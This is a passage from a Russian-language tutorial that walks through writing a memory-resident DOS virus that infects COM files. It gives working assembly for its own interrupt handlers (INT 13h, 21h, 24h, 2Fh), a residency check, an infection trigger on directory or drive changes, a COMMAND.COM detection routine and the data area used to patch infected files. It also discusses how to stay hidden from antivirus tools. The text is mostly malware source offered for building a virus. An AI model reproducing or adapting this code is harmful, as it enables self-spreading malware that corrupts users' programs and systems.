дикатором выполнения Int 13h в данный момент .Ко-
гда системный обработчик выполнится, управление
вновь получит " фильтр ".Поскольку Int 13h уже вы-
полнилось, можно сбросить в "0" переменную tg_13h.
Итак :
; _______________________________________________
;| |
;| Напишем новые обработчики INT 13h, INT 21h, |
;| INT 24h и INT 2fh ... |
;|_______________________________________________|
to_new_13h equ $-vir
new_13h: jmp cs:start_13h
tg_13h db 0
ax_13h dw 0
cs_13h dw 0
ip_13h dw 0
start_13h: mov cs:tg_13h - 110h,1
pushf
db 9ah ;Код команды
old_13h dw 0 ; " CALL " ...
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим новый
pop ax ;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF )
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov ax,cs:cs_13h - 110h
push ax
mov ax,cs:ip_13h - 110h
push ax
mov ax,cs:ax_13h - 110h
mov cs:tg_13h - 110h,0
iret
Здесь константа " to_new_13h " показывает смещение
от начала вирусного кода до начала обработчика .
Хотелось бы обратить ваше внимание на одну особен-
ность .Она состоит в том, что прерывания Int 21h и
Int 13h возвращают в регистре AX код ошибки,а бит
CF регистра флагов используется как индикатор этой
ошибки .
Пусть, например, при получении фильтром управления
бит CF имел значение FLAG 1, а регистры CS и IP
имели значения CS 1 и IP 1.Тогда команда " pushf "
занесет значение FLAG 1 в стек .Команда "call" по-
местит в стек значения CS 1 и IP 1,после чего уп-
равление получит системный обработчик .Этот обра-
ботчик занесет в стек значение FLAG 2, и при своем
завершении выполнит команду "iret" .Команда "iret"
снимет с вершины стека значения IP 1,CS 1 и FLAG2.
Теперь уже наш фильтр сбросит в " 0 " переменную
" tg_13h ",и командой " iret " передаст управление
прерванной программе .Но дело в том, что эта кома-
нда извлечет из стека значения IP и CS, которые
имели место в момент вызова прерывания Int 13h, а
также регистр флагов FLAG 1 .Таким образом,из сте-
ка будет извлечен FLAG 1 вместо FLAG 2 !Чтобы это-
го не произошло, мы должны поместить в стек FLAG 2
вместо FLAG 1 . Именно для этого предназначены ко-
манды,записанные после ячейки " old_13h_2 ".Работа
этих команд особых пояснений не требует .Мы просто
" добираемся " до нужной ячейки в стеке, последо-
вательно считывая предшествующие .Можно, конечно,
написать более эффективный фрагмент,зато выбранный
нами метод достаточно прост .
2.18 Обработчик Int 21h
Рассмотрим теперь создание обработчика прерывания
Int 21h .Как мы договорились, он должен помещать
" единицу " в ячейку " tg_infect ", если DOS вы-
полняет смену текущего каталога или диска ( см п.
2.5 ) .Поэтому напишем " фильтр ", который будет
проверять, какая именно функция DOS вызвана в тот
или иной момент :
;-------------------------------------------------
to_new_21h equ $-vir
new_21h: jmp cs:start_21h
tg_infect db 0
start_21h: pushf
push di
push es
xor di,di ;Перехват
mov es,di ;INT 24h в рези-
mov di,90h ;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh ;Активизировать
;вирус ?
jne cs:new_cmp_1
mov cs:tg_infect-110h,1;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh
jne cs:to_jump
mov cs:tg_infect - 110h,1
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
old_21h dw 0 ;рый обработчик
old_21h_2 dw 0 ;INT 21h ...
Поскольку при вызове функции DOS в регистре AH за-
дается ее номер,достаточно просто проанализировать
его и " выловить " нужные значения.Наш вирус будет
реагировать на смену текущего каталога (AH=03Bh),и
смену текущего диска (AH=0Eh) .Эти числа и пытает-
ся обнаружить " фильтр " .
Далее - так как нам нужно всего лишь определить,
какая функция DOS вызвана, нет смысла после завер-
шения системного обработчика передавать управление
обратно в " фильтр " .По этой причине отпадает не-
обходимость сложных " манипуляций " со стеком, ко-
торые мы проделывали в предыдущем пункте .
Помимо решения своей конкретной задачи, написанный
нами обработчик используется для перехвата преры-
вания Int 24h.Делается это прямым обращением к та-
блице векторов прерываний . Так же перехватывает
прерывания и секция инициализации при установке
вируса в память .Правда, вы можете спросить, зачем
потребовалась такая сложная методика перехвата,
и почему бы не выполнить его в секции инициализа-
ции ? Дело в том, что такой прием будет "работать"
только в MS DOS .WINDOWS 95, например, постоянно
восстанавливает вектор Int 24h, что делает бессмы-
сленным изменение вектора " только один раз ".Тру-
дно сказать, зачем в WINDOWS 95 принято восстанав-
ливать вектор .Вероятно, это сделано для надежно-
сти работы системы .При создании резидентного EXE-
вируса мы поговорим еще об одной " странности "
этой популярной операционной системы,которая поме-
шает нам сделать вирусную программу " невидимой "
для антивирусных средств .
2.19 Обработчик Int 24h
Этот обработчик должен устанавливать собственную
реакцию на критическую ошибку .Вызывается он очень
редко,поэтому просто сделаем так,чтобы при появле-
нии ошибки не происходило " зависание " .Для этого
достаточно вернуть управление прерванной програм-
ме,поместив предварительно в регистр AL код " 3 ":
;-------------------------------------------------
to_new_24h equ $ - vir
new_24h: mov al,3 ;Вернем програм-
iret ;ме управление
2.20 Обработчик Int 2Fh
Напишем обработчик Int 2Fh . Мы договорились испо-
льзовать это прерывание для проверки наличия виру-
са в памяти .
Напомним,что секция инициализации для решения ука-
занной задачи вызывает Int 2Fh c такими параметра-
ми :
AX = 0F000h
BX = 01997h .
Если вирус уже инсталлирован в память,его обработ-
чик должен вернуть AL = 0FFh, это значение и ана-
лизирует секция инициализации при запуске заражен-
шой программы . Исходя из всего сказанного, можно
написать такой фрагмент :
;-------------------------------------------------
to_new_2fh equ $ - vir
new_2fh: pushf
cmp ax,0f000h
jne cs:not_our
cmp bx,1997h
jne cs:not_our
mov al,0ffh
popf
iret
not_our: popf
db 0eah
old_2fh dw 0
old_2fh_2 dw 0
Если вызывается прерывание Int 2Fh с параметрами,
отличными от AX = 0F000h и BX = 01997h, вирусный
обработчик просто возвращает управление системно-
му . В противном случае управление передается пре-
рванной программе, причем в этом случае AL будет
равно 0FFh.
2.21 Обработчик Int 28h
Строго говоря, мы его уже написали ( см. п. 2.5 ,
п. 2.6 и т.д. ).Именно он занимается поиском и за-
ражением файлов,пользуясь для этого функциями DOS.
Но так как эти функции используются тогда, когда
активно прерывание Int 28h, ничего страшного про-
изойти не должно .
2.22 Область данных вируса
Теперь мы можем привести все данные, с которыми
работает наш вирус :
;/***********************************************/
;Data area
old_bytes db 0e9h ;Исходные три
dw vir_len + 0dh ;байта ...
dta_save db 128 dup (0) ;Массив для DTA
maska db '*.com',0 ;Маска для поис-
;ка ...
fn db 12 dup (' '),0 ;Место для имени
;файла
new_bytes db 0e9h ;Код команды
;" JMP ..."
db 00h ;HIGH
db 00h ;LOW
;Он записывается
;в файл вместо
;первых трех
;байт ...
end_file db 0ebh ;Первые два бай-
db push_len ;та вируса в
;файле (команда
;перехода на се-
;кцию инициали-
;зации ...
ss_save dw 0 ;Буфера для SS
sp_save dw 0 ;и SP ...
help_word dw 0 ;Промежуточная
;ячейка .
com_com db 'COMMAND' ;Имя командного
;процессора ...
inside db 0 ;Ячейка - инди-
;катор ...
last db 0 ;Последний байт
to_newstack equ $ - vir ;Смещение к сте-
;ку ...
newstack dw 70 dup ( 0 ) ;Новый стек ...
2.23 Процедура идентификации COMMAND.COM
Приведем текст процедуры, которой пользуется наш
вирус. Эта процедура проверяет,является - ли най-
денный нами файл командным процессором COMMAND.COM
и возвращает INSIDE = 1, если был найден именно
командный процессор .
Итак :
;-------------------------------------------------
search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
lea si,com_com
mov cx,7
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp
Работа процедуры достаточно ясна и в комментариях
не нуждается .
2.24 Завершаем программу
В принципе, завершить эту программу можно так же,
как и предыдущую :
db '1' ;Последний байт
;вируса в файле
vir_len equ $-vir ;Длина вируса в
;байтах ...
vir_par equ ( $-vir + 0fh ) / 16
;И в параграфах
prg_end: mov ax,4c00h ;Выход в DOS
INT 21H ;только для за-
;пускающей прог-